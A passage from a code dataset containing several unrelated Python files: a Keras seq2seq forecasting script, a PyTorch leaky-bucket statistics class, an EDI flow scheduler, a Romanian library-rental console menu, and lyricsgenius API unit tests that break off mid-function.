MinMaxScaler\nfrom sklearn.metrics import mean_squared_error\nfrom sklearn.metrics import mean_absolute_error\nfrom keras.models import Sequential\nfrom keras.layers import Dense\nfrom keras.layers import LSTM\nfrom keras import losses\nimport tensorflow as tf\nimport keras.backend.tensorflow_backend as KTF\nfrom keras.layers import RepeatVector\nfrom keras.layers import TimeDistributed\nfrom keras import optimizers\nimport os\nimport json\nimport datetime\nimport sys\nsys.path.append(os.path.abspath('.'))\nsys.path.append(os.path.abspath('..'))\nimport getopt\nimport core.model_config as model_config\n\n\nclass Seq2seqConfig():\n GPU = \"1\"\n n_in = model_config.model_setting['n_in']\n n_out = model_config.model_setting['n_out']\n lstm_encode_size = 200\n lstm_decode_size = 200\n full_size = 100\n test_ratio = 0.1\n model_name = model_config.csv['raw_name']\n experimental_time = datetime.datetime.now().strftime(\"%Y-%m-%d-%H-%M-%S\")\n\n csv_file = model_config.csv['raw_file']\n model_in_columns = model_config.model_setting['model_in_columns']\n model_out_columns = model_config.model_setting['model_out_columns']\n n_in_features = len(model_in_columns)\n n_out_features = len(model_out_columns)\n results_dir = \"results\"\n\n batch_size = 64\n epochs = model_config.model_setting['epochs']\n\n graph_name = \"seq2seq_keras_%s_lstm_en%d_lstm_de%d_nin%d_nout%d_batch%d_epoch%d_time%s\" % (model_name, lstm_encode_size, lstm_decode_size, n_in, n_out, batch_size, epochs, experimental_time)\n\n def __init__(self):\n self.parse_args()\n self.graph_name = \"seq2seq_keras_%s_lstm_en%d_lstm_de%d_nin%d_nout%d_batch%d_epoch%d_time%s\" % (self.model_name, self.lstm_encode_size, self.lstm_decode_size, self.n_in, self.n_out, self.batch_size, self.epochs, self.experimental_time)\n\n #@todo edit parse args\n def parse_args(self):\n try:\n options, args = getopt.getopt(sys.argv[1:], 'cge:', ['common', 'sg', 'epochs='])\n for opt, value in options:\n if opt in ('-c', '--common'):\n self.model_name = model_config.csv['raw_name']\n self.csv_file = model_config.csv['raw_file']\n if opt in ('-g', '--sg'):\n self.model_name = model_config.csv['process_name']\n self.csv_file = model_config.csv['process_file']\n if opt in ('-e', '--epochs'):\n self.epochs = int(value)\n except getopt.GetoptError as msg:\n print(msg)\n sys.exit(2)\n\n\ndef series_to_supervised(data, n_in=1, n_out=1, dropnan=True):\n n_vars = 1 if type(data) is list else data.shape[1]\n df = pd.DataFrame(data)\n cols, names = list(), list()\n # input sequence (t-n, ... t-1)\n for i in range(n_in, 0, -1):\n cols.append(df.shift(i))\n names += [('var%d(t-%d)' % (j + 1, i)) for j in range(n_vars)]\n # forecast sequence (t, t+1, ... t+n)\n for i in range(0, n_out):\n cols.append(df.shift(-i))\n if i == 0:\n names += [('var%d(t)' % (j + 1)) for j in range(n_vars)]\n else:\n names += [('var%d(t+%d)' % (j + 1, i)) for j in range(n_vars)]\n # put it all together\n agg = pd.concat(cols, axis=1)\n agg.columns = names\n # drop rows with NaN values\n if dropnan:\n agg.dropna(inplace=True)\n return agg\n\n\ndef load_dataset(csv_file, model_columns, n_in=30, n_out=1):\n dataset = pd.read_csv(csv_file, header=0, index_col=0)\n columns = list(dataset.columns.values)\n for column in columns:\n if column not in model_columns:\n dataset = dataset.drop(columns=column)\n values = dataset.values\n # integer encode direction\n # encoder = LabelEncoder()\n # values[:, 4] = encoder.fit_transform(values[:, 4])\n # ensure all data is float\n values = values.astype('float32')\n # normalize features\n scaler = MinMaxScaler(feature_range=(0, 1))\n scaled = scaler.fit_transform(values)\n # specify the number of lag hours\n # insert true data\n # reframed = series_to_supervised(values, n_in, n_out)\n # frame as supervised learning\n reframed = series_to_supervised(scaled, n_in, n_out)\n print(\"reframed shape\", reframed.shape)\n return reframed, scaler\n\n\n# split into train and test sets\ndef split_sets(reframed, n_in, n_out, n_in_features, n_out_features, test_ratio):\n values = reframed.values\n train_size = int(len(values) * (1.0 - test_ratio))\n train = values[:train_size, :]\n test = values[train_size:, :]\n # split into input and outputs\n n_in_obs = n_in * n_in_features\n n_out_obs = n_out * n_out_features\n\n train_X, train_y = train[:, :n_in_obs], train[:, n_in_obs:n_in_obs + n_out_obs]\n test_X, test_y = test[:, :n_in_obs], test[:, n_in_obs:n_in_obs + n_out_obs]\n\n # reshape input to be 3D [samples, timesteps, features]\n train_X = train_X.reshape((train_X.shape[0], n_in, n_in_features))\n test_X = test_X.reshape((test_X.shape[0], n_in, n_in_features))\n\n # reshape output to be 2D [samples, timesteps]\n train_y = train_y.reshape((train_y.shape[0], n_out, n_out_features))\n test_y = test_y.reshape((test_y.shape[0], n_out, n_out_features))\n print(\"train_X shape:\", train_X.shape, \"train_y shape:\", train_y.shape, \"test_X shape:\", test_X.shape, \"test_y shape:\", test_y.shape)\n return train_X, train_y, test_X, test_y\n\n\ndef build_model(train_X, train_y, test_X, test_y, lstm_encode_size=200, lstm_decode_size=200, full_size=100, epochs=50, batch_size=72, GPU=\"0\"):\n n_outputs = train_y.shape[1]\n model = Sequential()\n model.add(LSTM(lstm_encode_size, input_shape=(train_X.shape[1], train_X.shape[2])))\n model.add(RepeatVector(n_outputs))\n model.add(LSTM(lstm_decode_size, activation='relu', return_sequences=True))\n model.add(TimeDistributed(Dense(full_size, activation='relu')))\n model.add(TimeDistributed(Dense(train_y.shape[2])))\n # optimizers\n sgd = optimizers.SGD(lr=0.01, decay=1e-6, momentum=0.9, nesterov=True)\n # todo edit loss\n # model.compile(loss='mae', optimizer='adam')\n model.compile(loss=losses.mae, optimizer='adam')\n\n os.environ[\"CUDA_VISIBLE_DEVICES\"] = GPU\n config = tf.ConfigProto()\n config.gpu_options.allow_growth = True\n session = tf.Session(config=config)\n KTF.set_session(session)\n\n # fit network\n history = model.fit(train_X, train_y, epochs=epochs, batch_size=batch_size, validation_data=(test_X, test_y), verbose=2, shuffle=False)\n print(\"train loss\")\n print(history.history['loss'])\n print(\"test loss\")\n print(history.history['val_loss'])\n train_loss = history.history['loss']\n\n return model, train_loss\n\n\ndef prediction(model, test_X, test_y, n_out, scaler):\n yhat = model.predict(test_X)\n print(\"yhat.shape:\", yhat.shape, \"test_y.shape:\", test_y.shape)\n\n test_y = test_y.reshape((test_y.shape[0], n_out))\n yhat = yhat.reshape((yhat.shape[0], n_out))\n # invert scaling for forecast\n # inv_yhat = concatenate((yhat, test_X[:, -7:]), axis=1)\n inv_yhat = scaler.inverse_transform(yhat)\n # invert scaling for actual\n # inv_y = concatenate((test_y, test_X[:, -7:]), axis=1)\n inv_y = scaler.inverse_transform(test_y)\n print(\"inv_yhat.shape:\", inv_yhat.shape, \"inv_test_y.shape:\", inv_y.shape)\n\n return inv_y, inv_yhat\n\n\ndef evaluate_forecasts(obs, predictions, out_steps):\n # total_rmse = sqrt(mean_squared_error(obs, predictions))\n total_mae = mean_absolute_error(obs, predictions)\n steps_mae = []\n\n for j in range(out_steps):\n temp_dict = {'obs': [], 'predictions': []}\n for i in range(len(obs)):\n temp_dict['obs'].append(obs[i][j])\n temp_dict['predictions'].append(predictions[i][j])\n steps_mae.append(sqrt(mean_absolute_error(temp_dict['obs'], temp_dict['predictions'])))\n\n return total_mae, steps_mae\n\n\nif __name__ == '__main__':\n config = Seq2seqConfig()\n print(\"Default configuration:\", config.graph_name)\n reframed, scaler = load_dataset(config.csv_file, config.model_in_columns, config.n_in, config.n_out)\n train_X, train_y, test_X, test_y = split_sets(reframed, config.n_in, config.n_out, config.n_in_features, config.n_out_features, config.test_ratio)\n model, train_loss = build_model(train_X, train_y, test_X, test_y, lstm_encode_size=config.lstm_encode_size, lstm_decode_size=config.lstm_encode_size, full_size=config.full_size, epochs=config.epochs, batch_size=config.batch_size, GPU=config.GPU)\n inv_y, inv_yhat = prediction(model, test_X, test_y, config.n_out, scaler)\n\n total_mae, steps_mae=evaluate_forecasts(inv_y, inv_yhat, config.n_out)\n print('Test RMSE: %.3f' % total_mae)\n print('Test Step RMSE: ', steps_mae)\n\n # result\n results = {\"test\": inv_y.tolist(), \"prediction\": inv_yhat.tolist(), \"train_loss\": train_loss, \"mae\": total_mae, \"steps_mae\": steps_mae}\n if not os.path.exists(config.results_dir):\n os.mkdir(config.results_dir)\n with open(\"results/{}.json\".format(config.graph_name), 'w') as fout:\n fout.write(json.dumps(results))\n\n","sub_path":"core/seq2seq/ts_seq2seq_keras.py","file_name":"ts_seq2seq_keras.py","file_ext":"py","file_size_in_byte":9177,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"74881983","text":"# Copyright (c) Microsoft Corporation.\r\n# Licensed under the MIT License.\r\n\r\nimport math\r\nfrom scipy import stats\r\nimport torch\r\nimport torch.nn.functional as F\r\n\r\n# Use a Leaky Bucket to store a fraction of most recent statistics \r\n# Wikepedia article: https://en.wikipedia.org/wiki/Leaky_bucket\r\nclass LeakyBucket(object):\r\n def __init__(self, size, ratio, dtype, device, fixed_len=-1):\r\n '''\r\n size: size of allocated memory buffer to keep the leaky bucket queue,\r\n which will be doubled whenever the memory is full\r\n ratio: integer ratio of total number of samples to numbers to be kept:\r\n 1 - keep all, \r\n 2 - keep most recent 1/2, \r\n 3 - keep most recent 1/3,\r\n ... \r\n fixed_len: fixed length to keep, ratio >=1 becomes irrelevant\r\n '''\r\n self.size = size\r\n self.ratio = int(ratio)\r\n self.fixed_len = int(fixed_len)\r\n\r\n self.buffer = torch.zeros(size, dtype=dtype, device=device)\r\n self.count = 0 # number of elements kept in queue (excluding leaked)\r\n self.start = 0 # count = end - start\r\n self.end = 0\r\n self.total_count = 0 # total number of elements added (including leaked)\r\n \r\n def reset(self):\r\n self.buffer.zero_() \r\n self.count = 0 \r\n self.start = 0\r\n self.end = 0\r\n self.total_count = 0\r\n\r\n def double_size(self):\r\n self.size *= 2\r\n self.buffer.resize_(self.size)\r\n\r\n def add(self, val):\r\n if self.end == self.size: # when the end index reach size\r\n self.double_size() # double the size of buffer\r\n\r\n self.buffer[self.end] = val # always put new value at the end\r\n self.end += 1 # and increase end index by one\r\n\r\n if self.fixed_len > 0:\r\n if self.count == self.fixed_len:\r\n self.start += 1\r\n else:\r\n self.count += 1\r\n else:\r\n if self.total_count % self.ratio == 0: # if leaky_count is multiple of ratio\r\n self.count += 1 # increase count in queue by one\r\n else: # otherwise leak and keep same count\r\n self.start += 1 # increase start index by one\r\n\r\n self.total_count += 1 # always increase total_count by one\r\n\r\n # reset start index to 0 and end index to count to save space\r\n if self.start >= self.count:\r\n self.buffer[0:self.count] = self.buffer[self.start:self.end]\r\n self.start = 0\r\n self.end = self.count\r\n\r\n # ! Need to add safeguard to allow compute only if there are enough entries\r\n def mean_std(self, mode='bm'):\r\n mean = torch.mean(self.buffer[self.start:self.end]).item()\r\n\r\n if mode == 'bm': # batch mean variance\r\n b_n = int(math.floor(math.sqrt(self.count)))\r\n Yks = F.avg_pool1d(self.buffer[self.start:self.end].unsqueeze(0).unsqueeze(0), kernel_size=b_n, stride=b_n).view(-1)\r\n diffs = Yks - mean\r\n std = math.sqrt(b_n /(len(Yks)-1))*torch.norm(diffs).item()\r\n dof = b_n - 1\r\n elif mode == 'olbm': # overlapping batch mean\r\n b_n = int(math.floor(math.sqrt(self.count)))\r\n Yks = F.avg_pool1d(self.buffer[self.start:self.end].unsqueeze(0).unsqueeze(0), kernel_size=b_n, stride=1).view(-1)\r\n diffs = Yks - mean\r\n std = math.sqrt(b_n*self.count/(len(Yks)*(len(Yks)-1)))*torch.norm(diffs).item()\r\n dof = self.count - b_n\r\n else: # otherwise use mode == 'iid'\r\n std = torch.std(self.buffer[self.start:self.end]).item()\r\n dof = self.count - 1\r\n\r\n return mean, std, dof\r\n\r\n def stats_test(self, sigma, mode='bm', composite_test=False):\r\n mean, std, dof = self.mean_std(mode=mode)\r\n\r\n # confidence interval\r\n t_sigma_dof = stats.t.ppf(1-sigma/2., dof)\r\n half_width = std * t_sigma_dof / math.sqrt(self.count)\r\n lower = mean - half_width\r\n upper = mean + half_width\r\n # The simple confidence interval test \r\n # stationarity = lower < 0 and upper > 0\r\n\r\n # A more stable test is to also check if two half-means are of the same sign\r\n half_point = self.start + int(math.floor(self.count / 2))\r\n mean1 = torch.mean(self.buffer[self.start : half_point]).item()\r\n mean2 = torch.mean(self.buffer[half_point : self.end]).item()\r\n stationarity = (lower < 0 and upper > 0) and (mean1 * mean2 > 0)\r\n\r\n if composite_test:\r\n # Use two half tests to avoid false positive caused by crossing 0 in transient phase\r\n lb1 = mean1 - half_width\r\n ub1 = mean1 + half_width\r\n lb2 = mean2 - half_width\r\n ub2 = mean2 + half_width\r\n stationarity = (lb1 * ub1 < 0) and (lb2 * ub2 < 0) and (mean1 * mean2 > 0)\r\n\r\n return stationarity, mean, lower, upper \r\n\r\n # method to test if average loss after line search is no longer decreasing \r\n def rel_reduction(self):\r\n if self.count < 4:\r\n return 0.5\r\n half_point = self.start + int(math.floor(self.count / 2))\r\n mean1 = torch.mean(self.buffer[self.start : half_point]).item()\r\n mean2 = torch.mean(self.buffer[half_point : self.end]).item()\r\n return (mean1 - mean2) / mean1\r\n \r\n # method to test if average loss after line search is no longer decreasing \r\n def is_decreasing(self, min_cnt=1000, dec_rate=0.01):\r\n if self.count < min_cnt:\r\n return True\r\n half_point = self.start + int(math.floor(self.count / 2))\r\n mean1 = torch.mean(self.buffer[self.start : half_point]).item()\r\n mean2 = torch.mean(self.buffer[half_point : self.end]).item()\r\n return (mean1 - mean2) / mean1 > dec_rate\r\n\r\n def linregress(self, sigma, mode='linear'):\r\n \"\"\"\r\n calculate a linear regression\r\n sigma: the confidence of the one-side test\r\n H0: slope >= 0 vs H1: slope < 0\r\n mode: whether log scale the x axis\r\n \"\"\"\r\n TINY = 1.0e-20\r\n x = torch.arange(self.total_count-self.count, self.total_count,\r\n dtype=self.buffer.dtype, device=self.buffer.device)\r\n if mode == 'log':\r\n x = torch.log(x)\r\n # both x and y has dimension (self.count,)\r\n xy = torch.cat([x.view(1, -1),\r\n self.buffer[self.start:self.end].view(1, -1)],\r\n dim=0)\r\n # compute covariance matrix\r\n fact = 1.0 / self.count\r\n xy -= torch.mean(xy, dim=1, keepdim=True)\r\n xyt = xy.t()\r\n cov = fact * xy.matmul(xyt).squeeze()\r\n # compute the t-statistics\r\n r_num = cov[0, 1].item()\r\n r_den = torch.sqrt(cov[0, 0]*cov[1, 1]).item()\r\n if r_den == 0.0:\r\n r = 0.0\r\n else:\r\n r = r_num / r_den\r\n # test for numerical error propagation\r\n if r > 1.0:\r\n r = 1.0\r\n elif r < -1.0:\r\n r = -1.0\r\n\r\n df = self.count - 2\r\n t = r * math.sqrt(df / ((1.0 - r + TINY) * (1.0 + r + TINY)))\r\n # one-sided test for decreasing\r\n prob = stats.t.cdf(t, df)\r\n is_decreasing = prob < sigma\r\n # slop\r\n slope = r_num / cov[0, 0].item()\r\n return is_decreasing, slope, prob\r\n","sub_path":"statopt/bucket.py","file_name":"bucket.py","file_ext":"py","file_size_in_byte":7621,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"213913797","text":"import os\nimport shutil\nimport datetime\nimport json\nimport threading\nfrom Utility import Common\nfrom EDI import EDIEnum\nfrom EDI import EDIFlow\nfrom EDI import EDIEntity\n\ndef validateScheduleContinuity(strEDIConnection, strEDIDB, jsonEDIFlows, jsonEDIFlow, intIntervalSeconds, datetimeNow):\n pass\n\ndef validateScheduleDaily(strEDIConnection, strEDIDB, jsonEDIFlows, jsonEDIFlow, intIntervalSeconds, datetimeNow):\n datetimeStart = Common.getDateTime(jsonEDIFlow[\"scheduleStartDate\"] + \" \" + jsonEDIFlow[\"scheduleStartTime\"])\n datetimeToday = Common.getDateTime(Common.getDateString(datetimeNow) + \" \" + jsonEDIFlow[\"scheduleStartTime\"])\n if datetimeNow >= datetimeStart and \\\n datetimeNow >= datetimeToday+datetime.timedelta(seconds=-1) and \\\n datetimeNow < datetimeToday+datetime.timedelta(seconds=intIntervalSeconds*1.5):\n strEDIDate = Common.getDateSimple(datetimeNow)\n strEDIID = jsonEDIFlows[\"ediID\"]\n strEDIFlowID = jsonEDIFlow[\"flowID\"]\n strDataDate = Common.getDateSimple(datetimeNow+datetime.timedelta(days=jsonEDIFlow[\"scheduleDataDelay\"]))\n EDIEntity.insertNewFlow(strEDIConnection, strEDIDB, strEDIDate, strEDIID, strEDIFlowID, strDataDate)\n\ndef validateScheduleMonthly(strEDIConnection, strEDIDB, jsonEDIFlows, jsonEDIFlow, intIntervalSeconds, datetimeNow):\n strDayToday = Common.getDateSimple(datetimeNow)[-2:]\n if int(strDayToday) in jsonEDIFlow[\"scheduleRegulareDays\"]:\n validateScheduleDaily(strEDIConnection, strEDIDB, jsonEDIFlows, jsonEDIFlow, intIntervalSeconds, datetimeNow)\n\nswitch = {\n \"Continuity\": validateScheduleContinuity,\n \"Daily\": validateScheduleDaily,\n \"Monthly\": validateScheduleMonthly,\n}\n\ndef validateSchedule(strEDIConnection, strEDIDB, jsonEDIFlows, intIntervalSeconds):\n datetimeNow = datetime.datetime.now()\n for jsonEDIFlow in jsonEDIFlows[\"flowList\"]:\n switch[jsonEDIFlow[\"scheduleFrequency\"]](strEDIConnection, strEDIDB, jsonEDIFlows, jsonEDIFlow, intIntervalSeconds, datetimeNow)\n return True\n\ndef executeWaitingFlows(strEDIPath, strEDIConnection, strEDIDB, jsonEDIFlows, \n intFileBlockSize, strMessageSMTPServer, strMessageSMTPFrom, arrayMessageSMTPSuccessTo, arrayMessageSMTPFailureTo):\n listWaitingFlows = EDIEntity.getWaitingFlowList(strEDIConnection, strEDIDB, jsonEDIFlows[\"ediID\"])\n if len(listWaitingFlows) > 0:\n for listWaitingFlow in listWaitingFlows:\n jsonFlow = Common.filterJsonListFirst(jsonEDIFlows[\"flowList\"], \"flowID\", listWaitingFlow[\"EDI_FLOW_ID\"])\n strRunningFlow = jsonEDIFlows[\"ediID\"] + \".\" + jsonFlow[\"flowID\"] + \".run\"\n if jsonFlow != None and os.path.exists(strRunningFlow) == False:\n fileRunningFlow = open(strRunningFlow, \"w\")\n fileRunningFlow.close()\n\n thread = threading.Thread(target=executeFlow, args=(strEDIPath, jsonEDIFlows[\"ediID\"], strEDIConnection, strEDIDB, listWaitingFlow, jsonFlow, \n intFileBlockSize, strMessageSMTPServer, strMessageSMTPFrom, arrayMessageSMTPSuccessTo, arrayMessageSMTPFailureTo))\n thread.start()\n else:\n pass\n return True\n\ndef executeFlow(*args):\n strEDIPath = args[0]\n strEDIID = args[1]\n strEDIConnection = args[2]\n strEDIDB = args[3]\n dictFlow = args[4]\n jsonFlow = args[5]\n intFileBlockSize = args[6]\n strMessageSMTPServer = args[7]\n strMessageSMTPFrom = args[8]\n arrayMessageSMTPSuccessTo = args[9]\n arrayMessageSMTPFailureTo = args[10]\n\n flow = EDIFlow.Flow(strEDIPath, strEDIID, strEDIConnection, strEDIDB, dictFlow, jsonFlow, \n intFileBlockSize, strMessageSMTPServer, strMessageSMTPFrom, arrayMessageSMTPSuccessTo, arrayMessageSMTPFailureTo)\n flow.executeFlow()\n\ndef deleteFlowLog(jsonEDIFlows):\n for jsonEDIFlow in jsonEDIFlows[\"flowList\"]:\n if os.path.exists(jsonEDIFlow[\"flowID\"]):\n arrayObjects = os.listdir(jsonEDIFlow[\"flowID\"])\n arrayObjects.remove(\"CMD\")\n arrayObjects.remove(\"SCRIPT\")\n if len(arrayObjects) > 0:\n strMaxObjectName = max(arrayObjects)\n for strObjectName in arrayObjects:\n strDirPath = jsonEDIFlow[\"flowID\"] + \"/\" + strObjectName\n if strObjectName != strMaxObjectName and os.path.isdir(strDirPath):\n shutil.rmtree(strDirPath)\n return True\n","sub_path":"CODE/WantTech/WantTechPython/WantTech/EDI/EDIBase.py","file_name":"EDIBase.py","file_ext":"py","file_size_in_byte":4425,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"645581849","text":"'''\r\nCreated on 19 Nov 2018\r\n\r\n@author: Birdie\r\n'''\r\nfrom business.ServiceInchiriere import ServiceInchiriere\r\nfrom domeniu.Carte import Carte\r\nclass Console:\r\n \r\n def __init__(self, serviceCarti, serviceClienti, ServiceInchiriere):\r\n self.__serviceInchiriere = ServiceInchiriere\r\n self.__serviceCarti = serviceCarti\r\n self.__serviceClienti = serviceClienti\r\n \r\n '''\r\n @staticmethod\r\n def valideazaInt(numar):\r\n try:\r\n numar = int(numar)\r\n except ValueError:\r\n return None\r\n return numar\r\n '''\r\n\r\n def meniu(self):\r\n #self.__printMenu()\r\n while True:\r\n print('\\n1. Adauga')\r\n print(\"\\t\",'a. Adauga carte')\r\n print(\"\\t\",'b. Adauga client')\r\n print(\"\\t\",'c. Adauga carti aleator')\r\n print(\"\\t\",'d. Adauga clienti aleator')\r\n print(\"\\t\",'e. Inchiriaza carte')\r\n \r\n print('2. Sterge')\r\n print(\"\\t\",'a. Sterge carte')\r\n print(\"\\t\",'b. Sterge client')\r\n print(\"\\t\",'c. Returneaza carte')\r\n \r\n print('3.Modifica')\r\n print(\"\\t\",'a. Modifica carte')\r\n print(\"\\t\",'b. Modifica client')\r\n \r\n print('4.Afiseaza')\r\n print(\"\\t\",'a. Lista carti')\r\n print(\"\\t\",'b. Lista clienti')\r\n print(\"\\t\",'c. Lista de inchirieri')\r\n \r\n print('5.Cauta')\r\n print(\"\\t\",'a. Cauta carte')\r\n print(\"\\t\",'b. Cauta client')\r\n \r\n print('6.Rapoarte')\r\n print(\"\\t\",'a. Cele mai inchiriate carti')\r\n print(\"\\t\",'b. Clienti cu carti inchiriate ordonati dupa nume')\r\n print(\"\\t\",'c. Clienti cu carti inchiriate ordonati dupa numarul de carti inchiriate')\r\n print(\"\\t\",'d. Primii 20% cei mai activi clienti')\r\n print(\"\\t\",'e. Carti inchiriate ordonate dupa nume')\r\n \r\n print()\r\n \r\n command = input(\"introduceti o comanda:\")\r\n \r\n if (command == '1a'):\r\n #ID, titlu, descriere, autor\r\n ID = input('\\nid: ')\r\n titlu = input('titlu: ')\r\n descriere = input('descriere: ')\r\n autor = input('autor: ') \r\n try:\r\n self.__serviceCarti.adaugaCarte(ID, titlu, descriere, autor)\r\n print('\\n____Cartea a fost adaugata cu succes!____')\r\n except Exception as sirDeErori:\r\n print(str(sirDeErori))\r\n \r\n elif (command == '1b'):\r\n #ID, nume, cnp\r\n ID = input('\\nid: ')\r\n nume = input('nume: ')\r\n cnp = input('cnp: ')\r\n try:\r\n self.__serviceClienti.adaugaClient(ID, nume, cnp)\r\n print('\\n____Clientul a fost adaugat cu succes!___')\r\n except Exception as sirDeErori:\r\n print(str(sirDeErori))\r\n \r\n elif (command == '1c'):\r\n numarDeAdaugari = int(input('\\nCate carti doriti sa adaugati? \\n >>'))\r\n try:\r\n self.__serviceCarti.randomCarti(numarDeAdaugari)\r\n print('\\n____Cartile corecte au fost adaugate cu succes!___')\r\n except Exception as sirDeErori:\r\n print(str(sirDeErori))\r\n \r\n elif (command == '1d'):\r\n numarDeAdaugari = int(input('\\nCati clienti doriti sa adaugati? \\n >>'))\r\n try:\r\n self.__serviceClienti.randomClienti(numarDeAdaugari)\r\n print('\\n____Clientii corecti au fost adaugati cu succes!____')\r\n except Exception as sirDeErori:\r\n print(str(sirDeErori))\r\n \r\n elif (command == '1e'):\r\n idCarte = input('\\nid-ul cartii: ')\r\n idClient = input('id-ul clientului: ')\r\n try:\r\n self.__serviceInchiriere.adaugaInchiriere(idCarte,idClient)\r\n print('\\n____Imprumutul a fost realizat cu succes!____')\r\n except Exception as sirDeErori:\r\n print(str(sirDeErori))\r\n \r\n elif (command == '2a'):\r\n ID = input('id: ') \r\n try:\r\n self.__serviceInchiriere.stergeCarte(ID)\r\n print('\\n____Cartea si toate imprumuturile ei au fost sterse cu succes!____')\r\n except Exception as sirDeErori:\r\n print(str(sirDeErori))\r\n \r\n elif (command == '2b'):\r\n ID = input('id: ') \r\n try:\r\n self.__serviceInchiriere.stergeClient(ID)\r\n print('\\n____Clientul si toate imprumuturile lui au fost sterse cu succes!____')\r\n except Exception as sirDeErori:\r\n print(str(sirDeErori))\r\n \r\n elif (command == '2c'):\r\n idcarte = input('\\nid-ul cartii inchiriate')\r\n idclient = input('id-ul chiriasului') \r\n try: \r\n self.__serviceInchiriere.stergeInchiriere(idcarte,idclient) \r\n print('\\n____Imprumutul a fost sters cu succes!____')\r\n except Exception as sirDeErori: \r\n print(str(sirDeErori)) \r\n \r\n elif (command == '3a'):\r\n ID = input('\\nidul cartii de modificat: ')\r\n titluNou = input('noul titlu: ')\r\n descriereNoua = input('noua descriere: ')\r\n autorNou = input('noul autor: ')\r\n try:\r\n self.__serviceCarti.modificaCarte(ID,titluNou,descriereNoua,autorNou)\r\n print('\\n___Cartea a fost modificata cu succes!____')\r\n except Exception as sirDeErori:\r\n print(str(sirDeErori)) \r\n \r\n elif (command == '3b'):\r\n ID = input('idul clientului de modificat: ')\r\n numeNou = input('noul nume: ')\r\n cnpNou = input('noul cnp: ')\r\n try:\r\n self.__serviceClienti.modificaClient(ID,numeNou,cnpNou)\r\n print('\\n___Clientul a fost modificat cu succes!____')\r\n except Exception as sirDeErori:\r\n print(str(sirDeErori))\r\n \r\n elif (command == '4a'):\r\n listaCarti = self.__serviceCarti.listaCartiRecursiv()\r\n print('\\n')\r\n for carte in listaCarti:\r\n print(carte)\r\n \r\n elif (command == '4b'):\r\n print('\\n')\r\n listaClienti = self.__serviceClienti.listaClienti()\r\n for client in listaClienti:\r\n print(client)\r\n \r\n elif (command == '4c'):\r\n print('\\n')\r\n listaInchiriere = self.__serviceInchiriere.listaInchiriere()\r\n for inchiriere in listaInchiriere:\r\n print(inchiriere)\r\n \r\n elif (command == '5a'):\r\n stringDeCautat = input('\\n Ce doriti sa cautati? \\n >>')\r\n try: \r\n print('\\n')\r\n for carte in self.__serviceCarti.cautareCarteRecursiv(stringDeCautat):\r\n print(carte)\r\n except Exception as sirDeErori:\r\n print(str(sirDeErori))\r\n \r\n elif (command == '5b'):\r\n stringDeCautat = input('\\n Ce doriti sa cautati? \\n >>')\r\n try: \r\n print('\\n')\r\n for client in self.__serviceClienti.cautareClient(stringDeCautat):\r\n print(client)\r\n except Exception as sirDeErori:\r\n print(str(sirDeErori))\r\n \r\n elif (command == '6a'):\r\n try:\r\n listaCarti = self.__serviceInchiriere.CeaMaiInchiriata()\r\n print('\\n Cartile cele mai inchiriate sunt cartile cu id:')\r\n for element in listaCarti:\r\n print(element)\r\n except Exception as sirDeErori:\r\n print(str(sirDeErori))\r\n \r\n elif (command == '6b'):\r\n try:\r\n print('\\n')\r\n listaClienti = self.__serviceInchiriere.chiriasiOrdonatiNume()\r\n for element in listaClienti:\r\n print(element)\r\n except Exception as sirDeErori:\r\n print(str(sirDeErori))\r\n \r\n elif (command == '6c'):\r\n try:\r\n print('\\n')\r\n listaClienti = self.__serviceInchiriere.chiriasiOrdonatiNumar()\r\n for element in listaClienti:\r\n print(element)\r\n except Exception as sirDeErori:\r\n print(str(sirDeErori))\r\n \r\n elif (command == '6d'):\r\n try:\r\n print('\\n')\r\n listaClienti = self.__serviceInchiriere.CeiMaiActivi()\r\n for element in listaClienti:\r\n print(element)\r\n except Exception as sirDeErori:\r\n print(str(sirDeErori))\r\n \r\n elif (command == '6e'):\r\n try:\r\n print('\\n')\r\n listaCarti = self.__serviceInchiriere.CartiInchirirateOrdonateDupaNume()\r\n for element in listaCarti:\r\n print(element)\r\n except Exception as sirDeErori:\r\n print(str(sirDeErori))\r\n \r\n elif (command == '0'):\r\n return False\r\n \r\n else: \r\n print('comanda invalida!')","sub_path":"console/Console.py","file_name":"Console.py","file_ext":"py","file_size_in_byte":10211,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"554233913","text":"import os\nimport unittest\nfrom requests.exceptions import HTTPError\n\nfrom lyricsgenius import Genius\nfrom lyricsgenius.song import Song\nfrom lyricsgenius.artist import Artist\nfrom lyricsgenius.utils import sanitize_filename\n\n\n# Import client access token from environment variable\naccess_token = os.environ.get(\"GENIUS_ACCESS_TOKEN\", None)\nassert access_token is not None, (\n \"Must declare environment variable: GENIUS_ACCESS_TOKEN\")\ngenius = Genius(access_token, sleep_time=1.0, timeout=15)\n\n\nclass TestEndpoints(unittest.TestCase):\n\n @classmethod\n def setUpClass(cls):\n print(\"\\n---------------------\\nSetting up Endpoint tests...\\n\")\n cls.search_term = \"Ezra Furman\"\n cls.song_title_only = \"99 Problems\"\n\n def test_account(self):\n msg = (\"No user detail was returned. \"\n \"Are you sure you're using a user access token?\")\n r = genius.account()\n self.assertTrue(\"user\" in r, msg)\n\n def test_http_error_handler(self):\n try:\n genius.annotation(0)\n except HTTPError as e:\n status_code = e.args[0]\n self.assertEqual(status_code, 404)\n\n def test_search_song(self):\n artist = \"Jay-Z\"\n # Empty response\n response = genius.search_song('')\n self.assertIsNone(response)\n\n # Exact match exact search\n response = genius.search_song(self.song_title_only)\n self.assertTrue(response.title.lower() == self.song_title_only.lower())\n\n # Song with artist name\n response = genius.search_song(self.song_title_only, artist)\n self.assertTrue(response.title.lower() == self.song_title_only.lower())\n\n # Spaced out search\n response = genius.search_song(\" \\t 99 \\t \\t\\tProblems \", artist)\n self.assertTrue(response.title.lower() == self.song_title_only.lower())\n\n # No title match because of artist\n response = genius.search_song(self.song_title_only, artist=\"Drake\")\n self.assertFalse(response.title.lower() == self.song_title_only.lower())\n\n def test_referents_web_page(self):\n msg = \"Returned referent API path is different than expected.\"\n id_ = 10347\n r = genius.referents(web_page_id=id_)\n real = r['referents'][0]['api_path']\n expected = '/referents/11828416'\n self.assertTrue(real == expected, msg)\n\n def test_referents_invalid_input(self):\n # Method should prevent inputs for both song and web_pag ID.\n with self.assertRaises(AssertionError):\n 